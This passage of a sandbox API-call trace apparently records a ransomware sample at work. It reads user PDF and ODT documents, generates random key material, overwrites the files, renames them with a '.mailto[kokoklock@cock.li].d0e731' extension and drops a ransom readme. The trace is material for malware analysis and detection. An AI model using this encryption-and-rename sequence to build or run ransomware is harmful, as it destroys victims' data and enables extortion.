GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf")) returned 0x20 [0083.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf", dwFileAttributes=0x20) returned 1 [0083.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x728 [0083.699] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x2a1bf7e4 | out: lpFileSize=0x2a1bf7e4*=48191) returned 1 [0083.699] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0xbc3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.699] ReadFile (in: hFile=0x728, lpBuffer=0x2a1bf7b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x2a1bf7b8*, lpNumberOfBytesRead=0x2a1bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0083.700] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d4b0 [0083.700] NtQuerySystemTime (in: CurrentTime=0x2a1bf790 | out: CurrentTime=0x2a1bf790*=132121176415860334) returned 0x0 [0083.700] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xabf93428 [0083.700] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xb47ba549 [0083.700] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x5dac52d3 [0083.700] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xf0525330 [0083.700] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xe652db63 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x2669ac0e [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x321a6d00 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xde51c488 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x6f9601b5 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x6153841e [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xb8b94cf6 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xd85d67d6 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x59f60406 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x8806c5e1 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xb2ab6f83 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x349da7e6 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x17072afb [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x7435c1a6 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xfef9362e [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x97f3873d [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xffc3d8df [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xb5acc202 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xf2a58767 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xbad9e6c [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xb55413dd [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xccb9a264 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x1d78cbb [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x1774f47e [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xca3dcde4 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0xbf0efdde [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x3fc09e61 [0083.701] RtlRandom (in: Seed=0x2a1bf79c | out: Seed=0x2a1bf79c) returned 0x2adfaaf7 [0083.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.712] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.712] ReadFile (in: hFile=0x728, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a1bf768, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2a1bf768*=0x4096, lpOverlapped=0x0) returned 1 [0083.712] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.712] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.713] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.713] WriteFile (in: hFile=0x728, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a1bf768, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x2a1bf768*=0x4096, lpOverlapped=0x0) returned 1 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.713] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0xbc3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.713] WriteFile (in: hFile=0x728, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a1bf7a0, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x2a1bf7a0*=0x20, lpOverlapped=0x0) returned 1 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.713] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.713] WriteFile (in: hFile=0x728, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x8, lpOverlapped=0x0) returned 1 [0083.714] WriteFile (in: hFile=0x728, lpBuffer=0x2a1bf7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x2a1bf7cc*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0083.714] WriteFile (in: hFile=0x728, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0083.714] WriteFile (in: hFile=0x728, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x6c, lpOverlapped=0x0) returned 1 [0083.714] WriteFile (in: hFile=0x728, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x20, lpOverlapped=0x0) returned 1 [0083.714] WriteFile (in: hFile=0x728, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a1bf7b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a1bf7b4*=0x4, lpOverlapped=0x0) returned 1 [0083.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.714] CloseHandle (hObject=0x728) returned 1 [0083.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483e58 [0083.714] wcscpy (in: _Dest=0x3483e58, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" [0083.714] wcscat (in: _Dest=0x3483e58, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" [0083.714] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\h uzjvuzquyzczzn5gkb.pdf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.900] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.901] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483e58) returned 1 [0084.901] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf", dwFileAttributes=0x20) returned 0 [0084.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e69c0 [0084.901] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0084.901] wcscat (in: _Dest=0x33e69c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt" [0084.901] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\d0e731-readme.txt")) returned 0xffffffff [0084.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\dtzq\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x728 [0084.903] WriteFile (in: hFile=0x728, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2a1bf7b0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2a1bf7b0*=0x481, lpOverlapped=0x0) returned 1 [0084.904] CloseHandle (hObject=0x728) returned 1 [0084.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0084.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428588) returned 1 [0084.904] RtlExitUserThread (Status=0x1) Thread: id = 1195 os_tid = 0x8f0 [0083.715] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt")) returned 0x20 [0083.715] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt", dwFileAttributes=0x20) returned 1 [0083.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x938 [0083.716] GetFileSizeEx (in: hFile=0x938, lpFileSize=0x2a23faa4 | out: lpFileSize=0x2a23faa4*=7050) returned 1 [0083.716] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x1b86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.716] ReadFile (in: hFile=0x938, lpBuffer=0x2a23fa78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x2a23fa78*, lpNumberOfBytesRead=0x2a23fa74*=0x4, lpOverlapped=0x0) returned 1 [0083.717] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d4d8 [0083.717] NtQuerySystemTime (in: CurrentTime=0x2a23fa50 | out: CurrentTime=0x2a23fa50*=132121176416172849) returned 0x0 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x29259657 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xe00ad066 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xeafb3aa4 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xd4eb1073 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x52d4a162 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x33993c63 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x522fbe11 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x28b5a417 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x9e503a1d [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x82a99a3a [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xb038cec1 [0083.717] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xc118ef11 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xcbe2d953 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x5dcc43db [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x2a317691 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xecc8b5f1 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x9b1321b8 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x1e9bd9ad [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x97737bac [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x2eafc79b [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x1902ee1f [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xb747ddda [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x6211087 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xbf22aaa5 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x87249ade [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x6f42b2c8 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x65c76cd0 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x8ff10e2c [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0xd4b97fb3 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x45b87bb4 [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x34f1545d [0083.718] RtlRandom (in: Seed=0x2a23fa5c | out: Seed=0x2a23fa5c) returned 0x50e3bad3 [0083.728] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.729] ReadFile (in: hFile=0x938, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1b8a, lpNumberOfBytesRead=0x2a23fa50, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a23fa50*=0x1b8a, lpOverlapped=0x0) returned 1 [0083.729] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a23fa18 | out: lpNewFilePointer=0x0) returned 1 [0083.729] WriteFile (in: hFile=0x938, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1b8a, lpNumberOfBytesWritten=0x2a23fa4c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a23fa4c*=0x1b8a, lpOverlapped=0x0) returned 1 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.729] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.729] WriteFile (in: hFile=0x938, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a23fa48, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a23fa48*=0x20, lpOverlapped=0x0) returned 1 [0083.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.729] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a23fa74*=0x8, lpOverlapped=0x0) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x2a23fa8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x2a23fa8c*, lpNumberOfBytesWritten=0x2a23fa74*=0x4, lpOverlapped=0x0) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a23fa74*=0x4, lpOverlapped=0x0) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a23fa74*=0x6c, lpOverlapped=0x0) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a23fa74*=0x20, lpOverlapped=0x0) returned 1 [0083.730] WriteFile (in: hFile=0x938, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a23fa74, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a23fa74*=0x4, lpOverlapped=0x0) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.730] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.730] CloseHandle (hObject=0x938) returned 1 [0083.730] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x348a6f8 [0083.730] wcscpy (in: _Dest=0x348a6f8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" [0083.730] wcscat (in: _Dest=0x348a6f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" [0083.731] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731" (normalized: 